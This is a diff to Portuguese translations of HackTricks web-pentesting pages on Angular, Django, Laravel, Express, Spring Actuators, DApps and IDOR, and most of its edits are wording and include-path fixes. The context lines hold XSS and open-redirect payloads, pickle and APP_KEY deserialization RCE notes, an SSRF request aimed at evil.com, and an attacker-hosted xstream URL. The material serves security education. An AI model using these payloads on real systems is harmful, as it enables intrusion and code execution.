@@ -343,7 +343,7 @@ this.renderer2.setAttribute(this.img.nativeElement, 'onerror', 'alert(1)');
 
 //app.component.html
 <img #img>
-<button (click)="setAttribute()">Clique em mim!</button>
+<button (click)="setAttribute()">Click me!</button>
 ```
 *   Para definir a propriedade de um elemento DOM, você pode usar o método `Renderer2.setProperty()` e acionar um ataque XSS:
 
@@ -370,10 +370,10 @@ this.renderer2.setProperty(this.img.nativeElement, 'innerHTML', '<img src=1 oner
 
 //app.component.html
 <a #a></a>
-<button (click)="setProperty()">Clique em mim!</button>
+<button (click)="setProperty()">Click me!</button>
 ```
 
-Durante nossa pesquisa, também examinamos o comportamento de outros métodos `Renderer2`, como `setStyle()`, `createComment()` e `setValue()`, em relação a injeções XSS e CSS. No entanto, não conseguimos encontrar vetores de ataque válidos para esses métodos devido às suas limitações funcionais.
+Durante nossa pesquisa, também examinamos o comportamento de outros métodos `Renderer2`, como `setStyle()`, `createComment()`, e `setValue()`, em relação a injeções XSS e CSS. No entanto, não conseguimos encontrar vetores de ataque válidos para esses métodos devido às suas limitações funcionais.
 
 #### jQuery
 
@@ -403,8 +403,8 @@ $("p").html("<script>alert(1)</script>");
 }
 
 //app.component.html
-<button>Clique em mim</button>
-<p>algum texto aqui</p>
+<button>Click me</button>
+<p>some text here</p>
 ```
 *   O método `jQuery.parseHTML()` usa métodos nativos para converter a string em um conjunto de nós DOM, que podem ser inseridos no documento.
 
@@ -440,15 +440,15 @@ $palias.append(html);
 }
 
 //app.component.html
-<button>Clique em mim</button>
-<p id="palias">algum texto</p>
+<button>Click me</button>
+<p id="palias">some text</p>
 ```
 
 ### Redirecionamentos abertos
 
 #### Interfaces DOM
 
-De acordo com a documentação do W3C, os objetos `window.location` e `document.location` são tratados como aliases em navegadores modernos. É por isso que eles têm implementação semelhante de alguns métodos e propriedades, o que pode causar um redirecionamento aberto e XSS DOM com ataques de esquema `javascript://`, conforme mencionado abaixo.
+De acordo com a documentação do W3C, os objetos `window.location` e `document.location` são tratados como aliases em navegadores modernos. É por isso que eles têm implementações semelhantes de alguns métodos e propriedades, o que pode causar um redirecionamento aberto e XSS DOM com ataques de esquema `javascript://`, conforme mencionado abaixo.
 
 *   `window.location.href`(e `document.location.href`)
 
@@ -464,13 +464,13 @@ window.location.href = "https://google.com/about"
 }
 
 //app.component.html
-<button type="button" (click)="goToUrl()">Clique em mim!</button>
+<button type="button" (click)="goToUrl()">Click me!</button>
 ```
 
 O processo de exploração é idêntico para os seguintes cenários.
 *   `window.location.assign()`(e `document.location.assign()`)
 
-Este método faz com que a janela carregue e exiba o documento na URL especificada. Se tivermos controle sobre este método, ele pode ser um ponto de ataque para um redirecionamento aberto.
+Este método faz com que a janela carregue e exiba o documento na URL especificada. Se tivermos controle sobre este método, ele pode ser um ponto de entrada para um ataque de redirecionamento aberto.
 
 ```tsx
 //app.component.ts
@@ -512,7 +512,7 @@ window.open("https://google.com/about", "_blank")
 
 #### Classes Angular
 
-*   De acordo com a documentação do Angular, o `Document` do Angular é o mesmo que o documento DOM, o que significa que é possível usar vetores comuns para o documento DOM para explorar vulnerabilidades do lado do cliente no Angular. As propriedades e métodos `Document.location` podem ser pontos de ataque para redirecionamentos abertos bem-sucedidos, como mostrado no exemplo:
+*   De acordo com a documentação do Angular, o `Document` do Angular é o mesmo que o documento DOM, o que significa que é possível usar vetores comuns para o documento DOM para explorar vulnerabilidades do lado do cliente no Angular. As propriedades e métodos `Document.location` podem ser pontos de entrada para ataques de redirecionamento aberto, como mostrado no exemplo:
 
 ```tsx
 //app.component.ts
@@ -533,9 +533,9 @@ this.document.location.href = 'https://google.com/about';
 }
 
 //app.component.html
-<button type="button" (click)="goToUrl()">Clique em mim!</button>
+<button type="button" (click)="goToUrl()">Click me!</button>
 ```
-*   Durante a fase de pesquisa, também revisamos a classe `Location` do Angular em busca de vulnerabilidades de redirecionamento aberto, mas nenhum vetor válido foi encontrado. `Location` é um serviço Angular que os aplicativos podem usar para interagir com a URL atual do navegador. Este serviço possui vários métodos para manipular a URL dada - `go()`, `replaceState()` e `prepareExternalUrl()`. No entanto, não podemos usá-los para redirecionar para um domínio externo. Por exemplo:
+*   Durante a fase de pesquisa, também revisamos a classe `Location` do Angular em busca de vulnerabilidades de redirecionamento aberto, mas nenhum vetor válido foi encontrado. `Location` é um serviço Angular que os aplicativos podem usar para interagir com a URL atual do navegador. Este serviço possui vários métodos para manipular a URL dada - `go()`, `replaceState()`, e `prepareExternalUrl()`. No entanto, não podemos usá-los para redirecionar para um domínio externo. Por exemplo:
 
 ```tsx
 //app.component.ts
@@ -560,7 +560,7 @@ console.log(this.location.go("http://google.com/about"));
 ```
 
 Resultado: `http://localhost:4200/http://google.com/about`
-*   A classe `Router` do Angular é usada principalmente para navegar dentro do mesmo domínio e não introduz vulnerabilidades adicionais ao aplicativo:
+*   A classe `Router` do Angular é usada principalmente para navegação dentro do mesmo domínio e não introduz vulnerabilidades adicionais ao aplicativo:
 
 ```jsx
 //app-routing.module.ts
@@ -606,4 +606,4 @@ this.router.navigateByUrl('URL')
 
 
 
-{{#include /banners/hacktricks-training.md}}
+{{#include ../../banners/hacktricks-training.md}}

src/network-services-pentesting/pentesting-web/django.md

@@ -1,18 +1,18 @@
 # Django
 
-{{#include /src/banners/hacktricks-training.md}}
+{{#include ../../banners/hacktricks-training.md}}
 
 ## Manipulação de Cache para RCE
 O método de armazenamento de cache padrão do Django é [Python pickles](https://docs.python.org/3/library/pickle.html), que pode levar a RCE se [entrada não confiável for descompactada](https://media.blackhat.com/bh-us-11/Slaviero/BH_US_11_Slaviero_Sour_Pickles_Slides.pdf). **Se um atacante conseguir obter acesso de gravação ao cache, ele pode escalar essa vulnerabilidade para RCE no servidor subjacente**.
 
-O cache do Django é armazenado em um dos quatro lugares: [Redis](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/redis.py#L12), [memória](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/locmem.py#L16), [arquivos](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/filebased.py#L16), ou um [banco de dados](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/db.py#L95). O cache armazenado em um servidor Redis ou banco de dados são os vetores de ataque mais prováveis (injeção Redis e injeção SQL), mas um atacante também pode ser capaz de usar o cache baseado em arquivos para transformar uma gravação arbitrária em RCE. Os mantenedores marcaram isso como um não problema. É importante notar que a pasta de arquivos de cache, o nome da tabela SQL e os detalhes do servidor Redis variarão com base na implementação.
+O cache do Django é armazenado em um dos quatro lugares: [Redis](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/redis.py#L12), [memória](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/locmem.py#L16), [arquivos](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/filebased.py#L16), ou um [banco de dados](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/db.py#L95). O cache armazenado em um servidor Redis ou banco de dados são os vetores de ataque mais prováveis (injeção Redis e injeção SQL), mas um atacante também pode ser capaz de usar cache baseado em arquivo para transformar uma gravação arbitrária em RCE. Os mantenedores marcaram isso como um não problema. É importante notar que a pasta de arquivos de cache, o nome da tabela SQL e os detalhes do servidor Redis variarão com base na implementação.
 
 Este relatório do HackerOne fornece um ótimo exemplo reproduzível de exploração do cache do Django armazenado em um banco de dados SQLite: https://hackerone.com/reports/1415436
 
 ---
 
 ## Injeção de Template do Lado do Servidor (SSTI)
-A Linguagem de Template do Django (DTL) é **Turing-completa**. Se dados fornecidos pelo usuário forem renderizados como uma *string de template* (por exemplo, chamando `Template(user_input).render()` ou quando `|safe`/`format_html()` remove a auto-escapagem), um atacante pode alcançar SSTI completo → RCE.
+A Linguagem de Template do Django (DTL) é **Turing-completa**. Se dados fornecidos pelo usuário forem renderizados como uma *string de template* (por exemplo, chamando `Template(user_input).render()` ou quando `|safe`/`format_html()` remove a auto-escapagem), um atacante pode alcançar SSTI total → RCE.
 
 ### Detecção
 1. Procure por chamadas dinâmicas para `Template()` / `Engine.from_string()` / `render_to_string()` que incluam *qualquer* dado de solicitação não sanitizado.
@@ -33,12 +33,12 @@ Encontre o índice de `subprocess.Popen` (≈400–500 dependendo da versão do
 ```
 Um dispositivo universal mais seguro é iterar até `cls.__name__ == 'Popen'`.
 
-O mesmo dispositivo funciona para recursos de renderização de template do **Debug Toolbar** ou **Django-CMS** que manipulam mal a entrada do usuário.
+O mesmo dispositivo funciona para recursos de renderização de **Debug Toolbar** ou **Django-CMS** que manipulam mal a entrada do usuário.
 
 ---
 
 ## RCE de Cookie de Sessão Baseado em Pickle
-Se a configuração `SESSION_SERIALIZER = 'django.contrib.sessions.serializers.PickleSerializer'` estiver habilitada (ou um serializador personalizado que desserializa pickle), o Django *descriptografa e desserializa* o cookie de sessão **antes** de chamar qualquer código de visualização. Portanto, possuir uma chave de assinatura válida (a `SECRET_KEY` do projeto por padrão) é suficiente para execução remota imediata de código.
+Se a configuração `SESSION_SERIALIZER = 'django.contrib.sessions.serializers.PickleSerializer'` estiver habilitada (ou um serializador personalizado que desserializa pickle), o Django *descriptografa e desempacota* o cookie de sessão **antes** de chamar qualquer código de visualização. Portanto, possuir uma chave de assinatura válida (a `SECRET_KEY` do projeto por padrão) é suficiente para execução remota imediata de código.
 
 ### Requisitos para Exploração
 * O servidor usa `PickleSerializer`.
@@ -65,7 +65,7 @@ Envie o cookie resultante, e o payload é executado com as permissões do trabal
 ---
 
 ## Recentes (2023-2025) CVEs de Alto Impacto do Django que os Pentesters Devem Verificar
-* **CVE-2025-48432** – *Injeção de Log via `request.path` não escapado* (corrigido em 4 de junho de 2025). Permite que atacantes introduzam quebras de linha/códigos ANSI em arquivos de log e envenenem a análise de log a jusante. Nível de patch ≥ 4.2.22 / 5.1.10 / 5.2.2.
+* **CVE-2025-48432** – *Injeção de Log via `request.path` não escapado* (corrigido em 4 de junho de 2025). Permite que atacantes insiram quebras de linha/códigos ANSI em arquivos de log e envenenem a análise de log a jusante. Nível de patch ≥ 4.2.22 / 5.1.10 / 5.2.2.
 * **CVE-2024-42005** – *Injeção SQL crítica* em `QuerySet.values()/values_list()` no `JSONField` (CVSS 9.8). Crie chaves JSON para sair da citação e executar SQL arbitrário. Corrigido em 4.2.15 / 5.0.8.
 
 Sempre identifique a versão exata do framework via a página de erro `X-Frame-Options` ou o hash de `/static/admin/css/base.css` e teste o acima onde aplicável.
@@ -74,6 +74,6 @@ Sempre identifique a versão exata do framework via a página de erro `X-Frame-O
 
 ## Referências
 * Lançamento de segurança do Django – "Django 5.2.2, 5.1.10, 4.2.22 abordam CVE-2025-48432" – 4 de junho de 2025.
-* OP-Innovate: "Django lança atualizações de segurança para abordar a falha de injeção SQL CVE-2024-42005" – 11 de agosto de 2024.
+* OP-Innovate: "Django lança atualizações de segurança para abordar falha de injeção SQL CVE-2024-42005" – 11 de agosto de 2024.
 
-{{#include /src/banners/hacktricks-training.md}}
+{{#include ../../banners/hacktricks-training.md}}

src/network-services-pentesting/pentesting-web/laravel.md

@@ -1,6 +1,6 @@
 # Laravel
 
-{{#include /banners/hacktricks-training.md}}
+{{#include ../../banners/hacktricks-training.md}}
 
 ### Laravel SQLInjection
 
@@ -10,7 +10,7 @@ Leia informações sobre isso aqui: [https://stitcher.io/blog/unsafe-sql-functio
 
 ## APP_KEY & Internos de Criptografia (Laravel \u003e=5.6)
 
-Laravel usa AES-256-CBC (ou GCM) com integridade HMAC por trás dos panos (`Illuminate\\Encryption\\Encrypter`).
+Laravel usa AES-256-CBC (ou GCM) com integridade HMAC nos bastidores (`Illuminate\\Encryption\\Encrypter`).
 O texto cifrado bruto que é finalmente **enviado ao cliente** é **Base64 de um objeto JSON** como:
 ```json
 {
@@ -22,7 +22,7 @@ O texto cifrado bruto que é finalmente **enviado ao cliente** é **Base64 de um
 ```
 `encrypt($value, $serialize=true)` irá `serialize()` o texto simples por padrão, enquanto `decrypt($payload, $unserialize=true)` **irá automaticamente `unserialize()`** o valor decifrado. Portanto, **qualquer atacante que conheça o segredo de 32 bytes `APP_KEY` pode criar um objeto PHP serializado criptografado e obter RCE via métodos mágicos (`__wakeup`, `__destruct`, …)**.
 
-PoC mínima (framework ≥9.x):
+Minimal PoC (framework ≥9.x):
 ```php
 use Illuminate\Support\Facades\Crypt;
 
@@ -75,7 +75,7 @@ Principais descobertas da pesquisa publicada pela Synacktiv (2024-2025):
 * >1 000 servidores ainda vulneráveis ao CVE-2018-15133 legado porque os tokens contêm diretamente dados serializados.
 * Grande reutilização de chaves – as 10 principais APP_KEYs são padrões codificados enviados com templates comerciais do Laravel (UltimatePOS, Invoice Ninja, XPanel, …).
 
-A ferramenta Go privada **nounours** empurra a taxa de tentativa de força bruta AES-CBC/GCM para ~1,5 bilhões de tentativas/s, reduzindo a quebra de conjuntos de dados completos para <2 minutos.
+A ferramenta privada Go **nounours** empurra a taxa de tentativa de força bruta AES-CBC/GCM para ~1,5 bilhões de tentativas/s, reduzindo a quebra de conjuntos de dados completos para <2 minutos.
 
 ---
 
@@ -85,9 +85,6 @@ A ferramenta Go privada **nounours** empurra a taxa de tentativa de força bruta
 * [PHPGGC – Cadeias de Gadgets Genéricos PHP](https://github.com/ambionics/phpggc)
 * [CVE-2018-15133 write-up (WithSecure)](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce)
 
-{{#include ../../banners/hacktricks-training.md}}
-
-
 ## Truques do Laravel
 
 ### Modo de depuração
@@ -203,7 +200,7 @@ O texto cifrado bruto que é finalmente **enviado ao cliente** é **Base64 de um
 ```
 `encrypt($value, $serialize=true)` irá `serialize()` o texto simples por padrão, enquanto `decrypt($payload, $unserialize=true)` **irá automaticamente `unserialize()`** o valor decifrado. Portanto, **qualquer atacante que conheça o segredo de 32 bytes `APP_KEY` pode criar um objeto PHP serializado criptografado e obter RCE via métodos mágicos (`__wakeup`, `__destruct`, …)**.
 
-PoC mínima (framework ≥9.x):
+Minimal PoC (framework ≥9.x):
 ```php
 use Illuminate\Support\Facades\Crypt;
 
@@ -256,7 +253,7 @@ Principais descobertas da pesquisa publicada pela Synacktiv (2024-2025):
 * >1 000 servidores ainda vulneráveis ao CVE-2018-15133 legado porque os tokens contêm diretamente dados serializados.
 * Grande reutilização de chaves – as 10 principais APP_KEYs são padrões codificados enviados com templates comerciais do Laravel (UltimatePOS, Invoice Ninja, XPanel, …).
 
-A ferramenta Go privada **nounours** empurra a taxa de tentativa de força bruta AES-CBC/GCM para ~1,5 bilhões de tentativas/s, reduzindo a quebra de conjuntos de dados completos para <2 minutos.
+A ferramenta privada Go **nounours** empurra a taxa de tentativa de força bruta AES-CBC/GCM para ~1,5 bilhões de tentativas/s, reduzindo a quebra de conjuntos de dados completos para <2 minutos.
 
 ---
 

src/network-services-pentesting/pentesting-web/nodejs-express.md

@@ -1,6 +1,6 @@
 # NodeJS Express
 
-{{#include /banners/hacktricks-training.md}}
+{{#include ../../banners/hacktricks-training.md}}
 
 ## Assinatura de Cookie
 
@@ -28,4 +28,4 @@ Se você souber o segredo, pode assinar o cookie.
 ```bash
 cookie-monster -e -f new_cookie.json -k secret
 ```
-{{#include /banners/hacktricks-training.md}}
+{{#include ../../banners/hacktricks-training.md}}

src/network-services-pentesting/pentesting-web/spring-actuators.md

@@ -8,13 +8,13 @@
 
 **De** [**https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png**](https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png)
 
-## Exploiting Spring Boot Actuators
+## Explorando Spring Boot Actuators
 
 **Ver o post original em** \[**https://www.veracode.com/blog/research/exploiting-spring-boot-actuators**]
 
 ### **Pontos Chave:**
 
-- Spring Boot Actuators registram endpoints como `/health`, `/trace`, `/beans`, `/env`, etc. Nas versões 1 a 1.4, esses endpoints são acessíveis sem autenticação. A partir da versão 1.5, apenas `/health` e `/info` são não sensíveis por padrão, mas os desenvolvedores frequentemente desativam essa segurança.
+- Spring Boot Actuators registram endpoints como `/health`, `/trace`, `/beans`, `/env`, etc. Nas versões de 1 a 1.4, esses endpoints são acessíveis sem autenticação. A partir da versão 1.5, apenas `/health` e `/info` são não sensíveis por padrão, mas os desenvolvedores frequentemente desativam essa segurança.
 - Certos endpoints do Actuator podem expor dados sensíveis ou permitir ações prejudiciais:
 - `/dump`, `/trace`, `/logfile`, `/shutdown`, `/mappings`, `/env`, `/actuator/env`, `/restart`, e `/heapdump`.
 - No Spring Boot 1.x, os actuators são registrados sob a URL raiz, enquanto no 2.x, eles estão sob o caminho base `/actuator/`.
@@ -51,19 +51,14 @@ eureka.client.serviceUrl.defaultZone=http://artsploit.com/n/xstream
 ### **Tópicos Relacionados:**
 
 1.  **Env + H2 RCE**:
-- Detalhes sobre a exploração da combinação do endpoint `/env` e banco de dados H2 podem ser encontrados [aqui](https://spaceraccoon.dev/remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database).
+- Detalhes sobre a exploração da combinação do endpoint `/env` e do banco de dados H2 podem ser encontrados [aqui](https://spaceraccoon.dev/remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database).
 
 2.  **SSRF no Spring Boot Através da Interpretação Incorreta de Nomes de Caminho**:
 - O manuseio de parâmetros de matriz (`;`) pelo framework Spring em nomes de caminho HTTP pode ser explorado para Server-Side Request Forgery (SSRF).
-- Exemplo de requisição para exploração:
+- Exemplo de requisição de exploração:
 ```http
 GET ;@evil.com/url HTTP/1.1
 Host: target.com
 Connection: close
 ```
 {{#include ../../banners/hacktricks-training.md}}
-
-
-
-
-{{#include /banners/hacktricks-training.md}}

src/pentesting-web/dapps-DecentralizedApplications.md

@@ -1,6 +1,6 @@
 # DApps - Aplicações Descentralizadas
 
-{{#include ../../banners/hacktricks-training.md}}
+{{#include ../banners/hacktricks-training.md}}
 
 ## O que é um DApp?
 
@@ -10,19 +10,19 @@ Um DApp é uma aplicação descentralizada que opera em uma rede peer-to-peer, e
 
 De acordo com [**este post**](https://www.certik.com/resources/blog/web2-meets-web3-hacking-decentralized-applications), existem 3 tipos diferentes de arquitetura de DApps Web3:
 
-### DApps "Sem API"
+### DApps "sem API"
 
 Esses DApps são construídos sobre uma blockchain e não dependem de APIs ou backend centralizados. Você pode pensar que a blockchain é o verdadeiro backend da aplicação. Eles são **totalmente descentralizados** e podem ser acessados diretamente através da blockchain.
 
 Para interagir com a blockchain, o cliente geralmente usará uma **carteira**. A carteira assinará as transações e as enviará para a blockchain. O cliente também pode usar um **nó** para ler dados da blockchain.
 
-### DApps "Habilitados para API"
+### DApps "com API"
 
 Esses DApps são construídos sobre uma blockchain, mas também dependem de APIs centralizadas, geralmente para coletar informações. Eles são **principalmente descentralizados** porque, mesmo que dependam de uma API centralizada, a funcionalidade principal do DApp ainda está na blockchain. A comunicação do cliente com a blockchain geralmente é feita através de uma **carteira**.
 
 Um bom exemplo desse tipo de DApp é um **aplicativo de mintagem de NFT**. O servidor permite o upload das imagens, mas a mintagem é feita pelo cliente através de uma carteira.
 
-### DApps "Em Larga Escala"
+### DApps "em larga escala"
 
 Esses DApps são construídos sobre uma blockchain, mas também dependem de APIs centralizadas e servidores backend. Eles **podem ser parcialmente descentralizados**, pois o cliente pode ser capaz de realizar operações na blockchain usando uma carteira. No entanto, geralmente o **backend também será capaz de realizar operações na blockchain**.
 
@@ -32,8 +32,8 @@ Um bom exemplo desse tipo de DApp é uma ponte cross-chain onde um componente of
 
 As vulnerabilidades do Web2 ainda afetam esse tipo de aplicação, embora seu impacto possa variar:
 
-- As **vulnerabilidades do lado do cliente** têm um impacto aumentado, pois nos DApps Web3 o cliente geralmente é quem **realiza as operações na blockchain** através de uma carteira. Isso significa que ataques como XSS que conseguem executar código JS no lado do cliente ou que alteram o conteúdo da página podem ter um impacto maior, pois podem **interagir com a carteira** e convencer o usuário a realizar operações indesejadas na blockchain.
-- Note que geralmente, mesmo nesses tipos de aplicações, o cliente ainda pode revisar as operações antes de assiná-las com a carteira. No entanto, se o atacante conseguir alterar o conteúdo da página, pode convencer o usuário a assinar uma transação que realizará uma operação indesejada na blockchain.
+- As **vulnerabilidades do lado do cliente** têm um impacto aumentado, pois nos DApps Web3 o cliente geralmente é quem **realiza as operações na blockchain** através de uma carteira. Isso significa que ataques como XSS que conseguem executar código JS no lado do cliente ou que manipulam o conteúdo da página podem ter um impacto maior, pois podem **interagir com a carteira** e convencer o usuário a realizar operações indesejadas na blockchain.
+- Note que, geralmente, mesmo nesses tipos de aplicações, o cliente ainda pode revisar as operações antes de assiná-las com a carteira. No entanto, se o atacante conseguir manipular o conteúdo da página, pode convencer o usuário a assinar uma transação que realizará uma operação indesejada na blockchain.
 - As **vulnerabilidades do lado do servidor** ainda estão presentes nos DApps que dependem de um servidor backend. O impacto dessas vulnerabilidades dependerá da arquitetura do DApp. No entanto, elas ainda podem ser muito problemáticas, pois um atacante pode encontrar no backend **chaves da empresa** para acessar os fundos de contratos inteligentes ou pode realizar uma tomada de conta que pode permitir que eles roubem fundos ou NFTs dos usuários.
 
 Claro, se o DApp não estiver usando um backend ou se o backend usado oferecer apenas dados de cadeia pública ou páginas estáticas, a superfície de ataque do DApp é reduzida.
@@ -44,11 +44,11 @@ Mesmo que, em geral, um DApp tenha uma superfície de ataque reduzida, pois vár
 
 Pode ser possível agrupar as vulnerabilidades dos DApps web3 nas seguintes categorias:
 
-- **Transações On-Chain Mal Gerenciadas**: APIs de transação mal formatadas ou sem restrições, falta de lógica de espera de resposta e confirmação de bloco, exposição de dados sensíveis e manuseio inadequado de transações falhadas, revertidas ou tipadas internamente que permitem injeções de calldata maliciosas.
+- **Transações On-Chain mal gerenciadas**: APIs de transação mal formatadas ou sem restrições, falta de lógica de espera por resposta e confirmação de bloco, exposição de dados sensíveis e manuseio inadequado de transações falhadas, revertidas ou tipadas internamente que permitem injeções de calldata maliciosas.
 
-- **Ataques de Backend Impulsionados por Contratos Inteligentes**: armazenar ou sincronizar dados sensíveis entre contratos e bancos de dados sem validação, emissões de eventos não verificadas ou endereços de contrato, e vulnerabilidades de contrato exploráveis que podem envenenar a lógica do backend.
+- **Ataques de Backend impulsionados por Contratos Inteligentes**: armazenar ou sincronizar dados sensíveis entre contratos e bancos de dados sem validação, emissões de eventos não verificadas ou endereços de contratos, e vulnerabilidades exploráveis de contratos que podem envenenar a lógica do backend.
 
-- **Operações de Cripto-Ativos Defeituosas**: processamento incorreto de diferentes tipos de tokens (nativo vs. ERC-20), ignorando precisão decimal, transferências falhadas ou transações internas, e aceitando tokens falsos, deflacionários, de rebase ou propensos a slippage sem validação, permitindo injeções de payload via metadados de token.
+- **Operações de Cripto-Ativos com Falhas**: processamento incorreto de diferentes tipos de tokens (nativo vs. ERC-20), ignorando precisão decimal, transferências falhadas ou transações internas, e aceitando tokens falsos, deflacionários, de rebase ou propensos a slippage sem validação, permitindo injeções de payload via metadados de token.
 
 Alguns exemplos de [**este post**](https://www.certik.com/resources/blog/web2-meets-web3-hacking-decentralized-applications):
 
@@ -56,17 +56,17 @@ Alguns exemplos de [**este post**](https://www.certik.com/resources/blog/web2-me
 
 No cenário **`Wasted Crypto in Gas via Unrestricted API`**, o atacante pode forçar o backend a chamar funções de um contrato inteligente que consumirão gás. O atacante, apenas enviando um número de conta ETH e sem limites, forçará o backend a chamar o contrato inteligente para registrá-lo, o que consumirá gás.
 
-### DoS: Tempo de manuseio de transação ruim
+### DoS: Tempo de manuseio de transações ruim
 
 No cenário **`Poor Transaction Time Handling Leads to DoS`**, é explicado que, como o backend manterá a solicitação HTTP aberta até que uma transação seja realizada, um usuário pode facilmente enviar várias solicitações HTTP para o backend, o que consumirá todos os recursos do backend e levará a um DoS.
 
 ### Desincronização Backend<-->Blockchain - Condição de corrida
 
-No cenário **`Poor Transaction Time Handling Leads to Race Condition`**, é explicado que em um jogo era possível para o usuário enviar uma solicitação de retirada para o backend, que enviaria ao usuário suas moedas, mas enquanto a transação ainda estava sendo processada, o usuário conseguiu usar essas moedas para comprar itens no jogo, obtendo-os de graça.
+No cenário **`Poor Transaction Time Handling Leads to Race Condition`**, é explicado que em um jogo era possível para o usuário enviar um pedido de retirada para o backend, que enviaria suas moedas, mas enquanto a transação ainda estava sendo processada, o usuário conseguiu usar essas moedas para comprar itens no jogo, obtendo-os de graça.
 
-Outro exemplo poderia ser a capacidade de usar as mesmas moedas para comprar diferentes itens, já que o backend está imediatamente dando o item ao usuário sem esperar que a transação seja confirmada e, portanto, sem esperar que o saldo do usuário na blockchain seja reduzido.
+Outro exemplo poderia ser a capacidade de usar as mesmas moedas para comprar diferentes itens, pois o backend imediatamente dá o item ao usuário sem esperar que a transação seja confirmada e, portanto, sem esperar que o saldo do usuário na blockchain seja reduzido.
 
-### Validação de Endereço de Contrato Inteligente
+### Validação de endereço de contrato inteligente
 
 No cenário **`Bridge Backend Lacks Smart Contract Address Validation`**, é explicado como o backend estava verificando o endereço do contrato inteligente, então era possível para um atacante implantar um contrato inteligente falso, colocar fundos nele, enviar a transação para o backend e o backend pensaria que o usuário enviou fundos para o contrato inteligente real e daria ao usuário os tokens.
 
@@ -77,4 +77,4 @@ No cenário **`Mishandling of Asset Classes`**, é explicado que o backend confu
 ## Referências
 - [https://www.certik.com/resources/blog/web2-meets-web3-hacking-decentralized-applications](https://www.certik.com/resources/blog/web2-meets-web3-hacking-decentralized-applications)
 
-{{#include ../../banners/hacktricks-training.md}}
+{{#include ../banners/hacktricks-training.md}}

src/pentesting-web/file-inclusion/lfi2rce-via-nginx-temp-files.md

@@ -42,9 +42,7 @@ if **name** == "**main**": print('\[DEBUG] Creating requests session') requests\
 ## Referências
 
 - [https://bierbaumer.net/security/php-lfi-with-nginx-assistance/](https://bierbaumer.net/security/php-lfi-with-nginx-assistance/)
+```
 
+```
 {{#include ../../banners/hacktricks-training.md}}
-```
-
-```
-{{#include /banners/hacktricks-training.md}}

src/pentesting-web/idor.md

@@ -2,7 +2,7 @@
 
 {{#include ../banners/hacktricks-training.md}}
 
-IDOR (Insecure Direct Object Reference) / Broken Object Level Authorization (BOLA) aparece quando um endpoint web ou API divulga ou aceita um identificador controlável pelo usuário que é usado **diretamente** para acessar um objeto interno **sem verificar se o chamador está autorizado** a acessar/modificar esse objeto. A exploração bem-sucedida normalmente permite a escalada de privilégios horizontal ou vertical, como ler ou modificar dados de outros usuários e, no pior dos casos, a tomada total de conta ou exfiltração em massa de dados.
+IDOR (Insecure Direct Object Reference) / Broken Object Level Authorization (BOLA) aparece quando um endpoint web ou de API divulga ou aceita um identificador controlado pelo usuário que é usado **diretamente** para acessar um objeto interno **sem verificar se o chamador está autorizado** a acessar/modificar esse objeto. A exploração bem-sucedida normalmente permite a escalada de privilégios horizontal ou vertical, como ler ou modificar dados de outros usuários e, no pior dos casos, a tomada total de conta ou exfiltração em massa de dados.
 
 ---
 ## 1. Identificando Potenciais IDORs
@@ -65,7 +65,7 @@ Combined with **credenciais de administrador padrão** (`123456:123456`) que con
 ## 4. Mitigações & Melhores Práticas
 1. **Impor autorização em nível de objeto** em cada solicitação (`user_id == session.user`).
 2. Preferir **identificadores indiretos e imprevisíveis** (UUIDv4, ULID) em vez de IDs auto-incrementais.
-3. Realizar autorização **no lado do servidor**, nunca confiar em campos de formulário ocultos ou controles de UI.
+3. Realizar autorização **do lado do servidor**, nunca confiar em campos de formulário ocultos ou controles de UI.
 4. Implementar verificações de **RBAC / ABAC** em um middleware central.
 5. Adicionar **limitação de taxa e registro** para detectar enumeração de IDs.
 6. Testar a segurança de cada novo endpoint (unitário, integração e DAST).
@@ -76,10 +76,8 @@ Combined with **credenciais de administrador padrão** (`123456:123456`) que con
 * **OWASP ZAP**: Auth Matrix, Forced Browse.
 * **Projetos do Github**: `bwapp-idor-scanner`, `Blindy` (caça IDOR em massa).
 
-{{#include ../banners/hacktricks-training.md}}
-
 ## Referências
-* [Plataforma de Chatbot McHire: Credenciais Padrão e IDOR Expondo PII de 64M de Candidatos](https://ian.sh/mcdonalds)
-* [OWASP Top 10 – Controle de Acesso Quebrado](https://owasp.org/Top10/A01_2021-Broken_Access_Control/)
-* [Como Encontrar Mais IDORs – Vickie Li](https://medium.com/@vickieli/how-to-find-more-idors-ae2db67c9489)
-{{#include /banners/hacktricks-training.md}}
+* [McHire Chatbot Platform: Default Credentials and IDOR Expose 64M Applicants’ PII](https://ian.sh/mcdonalds)
+* [OWASP Top 10 – Broken Access Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control/)
+* [How to Find More IDORs – Vickie Li](https://medium.com/@vickieli/how-to-find-more-idors-ae2db67c9489)
+{{#include ../banners/hacktricks-training.md}}

src/pentesting-web/xss-cross-site-scripting/README.md

@@ -1,6 +1,6 @@
 # XSS (Cross Site Scripting)
 
-{{#include /banners/hacktricks-training.md}}
+{{#include ../../banners/hacktricks-training.md}}
 
 ## Metodologia
 
@@ -13,7 +13,7 @@
 2. Você pode usar eventos ou atributos que suportam o protocolo `javascript:`?
 3. Você pode contornar proteções?
 4. O conteúdo HTML está sendo interpretado por algum mecanismo JS do lado do cliente (_AngularJS_, _VueJS_, _Mavo_...), você poderia abusar de uma [**Injeção de Template do Lado do Cliente**](../client-side-template-injection-csti.md).
-5. Se você não puder criar tags HTML que executem código JS, poderia abusar de uma [**Injeção de Marcação Pendente - HTML sem script**](../dangling-markup-html-scriptless-injection/index.html)?
+5. Se você não pode criar tags HTML que executem código JS, poderia abusar de uma [**Injeção de Marcação Pendente - HTML sem script**](../dangling-markup-html-scriptless-injection/index.html)?
 2. Dentro de uma **tag HTML**:
